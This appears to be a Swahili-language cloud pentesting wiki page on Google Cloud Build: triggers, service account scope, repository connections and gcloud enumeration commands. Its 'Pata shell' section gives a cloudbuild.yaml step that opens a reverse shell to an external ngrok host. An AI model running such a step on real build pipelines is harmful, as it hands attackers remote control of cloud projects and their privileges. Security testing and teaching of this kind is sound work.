GCP - Cloud Build Enum

Taarifa za Msingi

Google Cloud Build ni jukwaa linalosimamiwa la CI/CD ambalo linarahisisha mchakato wa kujenga programu na kutoa matoleo, likijumuisha na repo za msimbo wa chanzo na kusaidia lugha mbalimbali za programu. Inaruhusu watengenezaji kujenga, kupima, na kupeleka msimbo kiotomatiki huku ikitoa kubadilika kwa kubinafsisha hatua za ujenzi na mtiririko wa kazi.

Kila Cloud Build Trigger inahusiana na Cloud Repository au imeunganishwa moja kwa moja na repo ya nje (Github, Bitbucket na Gitlab).

Matukio

Cloud Build inaweza kuchochewa ikiwa:

• Push to a branch: Eleza tawi

• Push a new tag: Eleza tag

• Pull request: Eleza tawi linalopokea PR

• Manual Invocation

• Pub/Sub message: Eleza mada

• Webhook event: Itafichua URL ya HTTPS na ombi lazima lithibitishwe na siri

Utekelezaji

Kuna chaguzi 3:

• yaml/json inayobainisha amri za kutekeleza. Kwa kawaida: /cloudbuild.yaml

• Moja tu inayoweza kubainishwa "inline" kwenye dashibodi ya wavuti na kwenye cli

• Chaguo la kawaida zaidi

• Muhimu kwa ufikiaji usioidhinishwa

• Dockerfile ya kujenga

• Buildpack ya kujenga

SA Ruhusa

Akaunti ya Huduma ina wigo wa cloud-platform, kwa hivyo inaweza kutumia marupurupu yote. Ikiwa hakuna SA iliyobainishwa (kama wakati wa kufanya submit) SA chaguo-msingi <proj-number>@cloudbuild.gserviceaccount.com itatumika.

Kwa chaguo-msingi hakuna ruhusa zinazotolewa lakini ni rahisi sana kuzipa baadhi:

Idhini

Inawezekana kusanidi Cloud Build ili kuhitaji idhini kwa utekelezaji wa ujenzi (imezimwa kwa chaguo-msingi).

Idhini za PR

Wakati trigger ni PR kwa sababu mtu yeyote anaweza kufanya PRs kwa repo za umma itakuwa hatari sana kuruhusu utekelezaji wa trigger na PR yoyote. Kwa hivyo, kwa chaguo-msingi, utekelezaji utakuwa otomatiki kwa wamiliki na washirika, na ili kutekeleza trigger na PR za watumiaji wengine mmiliki au mshirika lazima aweke maoni /gcbrun.

Muunganisho & Repositories

Muunganisho unaweza kuundwa juu ya:

• GitHub: Itaonyesha ombi la OAuth linaloomba ruhusa za kupata tokeni ya Github ambayo itahifadhiwa ndani ya Secret Manager.

• GitHub Enterprise: Itaomba kusakinisha GithubApp. Tokeni ya uthibitishaji kutoka kwa mwenyeji wako wa GitHub Enterprise itaundwa na kuhifadhiwa katika mradi huu kama siri ya Secret Manager.

• GitLab / Enterprise: Unahitaji kutoa tokeni ya ufikiaji wa API na tokeni ya ufikiaji wa Read API ambayo itahifadhiwa katika Secret Manager.

Mara muunganisho unapoundwa, unaweza kuutumia kuunganisha repo ambazo akaunti ya Github ina ufikiaji.

Chaguo hili linapatikana kupitia kitufe:

Unganisha Repository

Hii si sawa na muunganisho. Hii inaruhusu njia tofauti za kupata ufikiaji wa repo ya Github au Bitbucket lakini haitengenezi kitu cha muunganisho, lakini inatengeneza kitu cha repo (cha kizazi cha 1).

Chaguo hili linapatikana kupitia kitufe:

Hifadhi

Wakati mwingine Cloud Build itaunda hifadhi mpya ya kuhifadhi faili za trigger. Hii hutokea kwa mfano katika mfano ambao GCP inatoa na:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

A Storage bucket inayoitwa security-devbox_cloudbuild imeundwa kuhifadhi .tgz yenye faili zitakazotumika.

Pata shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Install gcloud ndani ya cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Unaweza kupata maelezo nyeti katika mipangilio ya ujenzi na kumbukumbu.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Privilege Escalation

Unauthenticated Access

Post Exploitation